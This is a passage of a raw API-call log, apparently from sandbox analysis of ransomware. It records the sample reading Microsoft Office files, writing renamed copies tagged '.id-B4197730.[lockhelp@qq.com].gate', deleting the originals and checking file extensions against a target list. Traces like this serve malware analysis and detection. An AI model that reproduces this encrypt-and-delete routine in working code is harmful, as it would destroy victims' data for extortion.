Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0302.236] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.236] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0302.237] GetLastError () returned 0x0 [0302.237] ReadFile (in: hFile=0x4b0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x1361, lpOverlapped=0x0) returned 1 [0302.355] WriteFile (in: hFile=0x4c0, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x1370, lpOverlapped=0x0) returned 1 [0302.357] ReadFile (in: hFile=0x4b0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.358] WriteFile (in: hFile=0x4c0, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.358] SetEndOfFile (hFile=0x4c0) returned 1 [0302.364] CloseHandle (hObject=0x4c0) returned 1 [0302.365] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.365] SetEndOfFile (hFile=0x4b0) returned 1 [0302.429] CloseHandle (hObject=0x4b0) returned 1 [0302.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.429] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid")) returned 1 [0302.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0302.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0302.430] lstrlenW (lpString=".doc") returned 4 [0302.430] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0302.430] lstrlenW (lpString=".docx") returned 5 [0302.430] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0302.430] lstrlenW (lpString=".pdf") returned 4 [0302.430] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0302.430] lstrlenW (lpString=".xls") returned 4 [0302.430] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0302.430] lstrlenW (lpString=".xlsx") returned 5 [0302.430] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0302.430] lstrlenW (lpString=".ppt") returned 4 [0302.430] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0302.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0302.430] lstrlenW (lpString=".zip") returned 4 [0302.430] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0302.430] lstrlenW (lpString=".rar") returned 4 [0302.430] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0302.430] lstrlenW (lpString=".bz2") returned 4 [0302.430] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0302.430] lstrlenW (lpString=".7z") returned 3 [0302.430] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0302.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0302.430] lstrlenW (lpString=".dbf") returned 4 [0302.430] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0302.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0302.430] lstrlenW (lpString=".1cd") returned 4 [0302.430] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0302.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0302.431] lstrlenW (lpString=".jpg") returned 4 [0302.431] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0302.431] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=352776) returned 1 [0302.431] CloseHandle (hObject=0x4b0) returned 1 [0302.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx")) returned 0x220 [0302.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0302.432] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.432] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0302.432] GetLastError () returned 0x0 [0302.432] ReadFile (in: hFile=0x4b0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x56208, lpOverlapped=0x0) returned 1 [0302.535] WriteFile (in: hFile=0x50c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x56210, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x56210, lpOverlapped=0x0) returned 1 [0302.541] ReadFile (in: hFile=0x4b0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.541] WriteFile (in: hFile=0x50c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xfa, lpOverlapped=0x0) returned 1 [0302.541] SetEndOfFile (hFile=0x50c) returned 1 [0302.542] CloseHandle (hObject=0x50c) returned 1 [0302.542] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.542] SetEndOfFile (hFile=0x4b0) returned 1 [0302.688] CloseHandle (hObject=0x4b0) returned 1 [0302.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.688] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx")) returned 1 [0302.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0302.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0302.689] lstrlenW (lpString=".doc") returned 4 [0302.689] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0302.689] lstrlenW (lpString=".docx") returned 5 [0302.689] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0302.689] lstrlenW (lpString=".pdf") returned 4 [0302.689] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0302.689] lstrlenW (lpString=".xls") returned 4 [0302.689] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0302.689] lstrlenW (lpString=".xlsx") returned 5 [0302.689] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0302.689] lstrlenW (lpString=".ppt") returned 4 [0302.689] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0302.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0302.689] lstrlenW (lpString=".zip") returned 4 [0302.690] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0302.690] lstrlenW (lpString=".rar") returned 4 [0302.690] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0302.690] lstrlenW (lpString=".bz2") returned 4 [0302.690] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0302.690] lstrlenW (lpString=".7z") returned 3 [0302.690] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0302.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0302.690] lstrlenW (lpString=".dbf") returned 4 [0302.690] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0302.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0302.690] lstrlenW (lpString=".1cd") returned 4 [0302.690] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0302.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0302.690] lstrlenW (lpString=".jpg") returned 4 [0302.690] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0302.691] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=295074) returned 1 [0302.691] CloseHandle (hObject=0x4b0) returned 1 [0302.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 0x220 [0302.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0302.691] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.692] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0302.692] GetLastError () returned 0x0 [0302.692] ReadFile (in: hFile=0x4b0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x480a2, lpOverlapped=0x0) returned 1 [0302.888] WriteFile (in: hFile=0x404, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x480b0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x480b0, lpOverlapped=0x0) returned 1 [0302.893] ReadFile (in: hFile=0x4b0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.893] WriteFile (in: hFile=0x404, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xea, lpOverlapped=0x0) returned 1 [0302.893] SetEndOfFile (hFile=0x404) returned 1 [0302.893] CloseHandle (hObject=0x404) returned 1 [0302.894] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.894] SetEndOfFile (hFile=0x4b0) returned 1 [0302.948] CloseHandle (hObject=0x4b0) returned 1 [0302.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.949] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 1 [0302.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0302.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0302.950] lstrlenW (lpString=".doc") returned 4 [0302.950] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0302.950] lstrlenW (lpString=".docx") returned 5 [0302.950] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0302.950] lstrlenW (lpString=".pdf") returned 4 [0302.950] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0302.950] lstrlenW (lpString=".xls") returned 4 [0302.950] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0302.950] lstrlenW (lpString=".xlsx") returned 5 [0302.950] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0302.950] lstrlenW (lpString=".ppt") returned 4 [0302.950] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0302.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0302.950] lstrlenW (lpString=".zip") returned 4 [0302.950] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0302.950] lstrlenW (lpString=".rar") returned 4 [0302.950] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0302.950] lstrlenW (lpString=".bz2") returned 4 [0302.950] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0302.950] lstrlenW (lpString=".7z") returned 3 [0302.951] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0302.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0302.951] lstrlenW (lpString=".dbf") returned 4 [0302.951] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0302.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0302.951] lstrlenW (lpString=".1cd") returned 4 [0302.951] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0302.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0302.951] lstrlenW (lpString=".jpg") returned 4 [0302.951] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0306.926] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.926] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0306.927] GetLastError () returned 0x0 [0306.927] ReadFile (in: hFile=0x538, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x2c3, lpOverlapped=0x0) returned 1 [0307.006] WriteFile (in: hFile=0x370, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x2d0, lpOverlapped=0x0) returned 1 [0307.007] ReadFile (in: hFile=0x538, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.007] WriteFile (in: hFile=0x370, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x108, lpOverlapped=0x0) returned 1 [0307.007] SetEndOfFile (hFile=0x370) returned 1 [0307.008] CloseHandle (hObject=0x370) returned 1 [0307.008] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.008] SetEndOfFile (hFile=0x538) returned 1 [0307.022] CloseHandle (hObject=0x538) returned 1 [0307.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0307.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest")) returned 1 [0307.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0307.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0307.025] lstrlenW (lpString=".doc") returned 4 [0307.025] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0307.025] lstrlenW (lpString=".docx") returned 5 [0307.025] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0307.025] lstrlenW (lpString=".pdf") returned 4 [0307.025] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0307.026] lstrlenW (lpString=".xls") returned 4 [0307.026] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0307.026] lstrlenW (lpString=".xlsx") returned 5 [0307.026] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0307.026] lstrlenW (lpString=".ppt") returned 4 [0307.026] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0307.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0307.026] lstrlenW (lpString=".zip") returned 4 [0307.026] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0307.026] lstrlenW (lpString=".rar") returned 4 [0307.026] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0307.026] lstrlenW (lpString=".bz2") returned 4 [0307.026] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0307.026] lstrlenW (lpString=".7z") returned 3 [0307.026] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0307.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0307.026] lstrlenW (lpString=".dbf") returned 4 [0307.026] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0307.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0307.026] lstrlenW (lpString=".1cd") returned 4 [0307.026] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0307.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0307.026] lstrlenW (lpString=".jpg") returned 4 [0307.026] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0307.270] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=6890712) returned 1 [0307.270] CloseHandle (hObject=0x4f4) returned 1 [0307.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll")) returned 0x220 [0307.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0307.273] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0307.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0307.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0307.273] lstrlenW (lpString=".doc") returned 4 [0307.273] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0307.273] lstrlenW (lpString=".docx") returned 5 [0307.273] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0307.273] lstrlenW (lpString=".pdf") returned 4 [0307.274] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0307.274] lstrlenW (lpString=".xls") returned 4 [0307.274] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0307.274] lstrlenW (lpString=".xlsx") returned 5 [0307.274] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0307.274] lstrlenW (lpString=".ppt") returned 4 [0307.274] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0307.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0307.274] lstrlenW (lpString=".zip") returned 4 [0307.274] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0307.274] lstrlenW (lpString=".rar") returned 4 [0307.274] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0307.274] lstrlenW (lpString=".bz2") returned 4 [0307.274] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0307.274] lstrlenW (lpString=".7z") returned 3 [0307.274] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0307.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0307.274] lstrlenW (lpString=".dbf") returned 4 [0307.274] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0307.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0307.274] lstrlenW (lpString=".1cd") returned 4 [0307.274] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0307.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0307.274] lstrlenW (lpString=".jpg") returned 4 [0307.274] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0307.739] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0307.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64 [0307.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64 [0307.740] lstrlenW (lpString=".doc") returned 4 [0307.740] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0307.740] 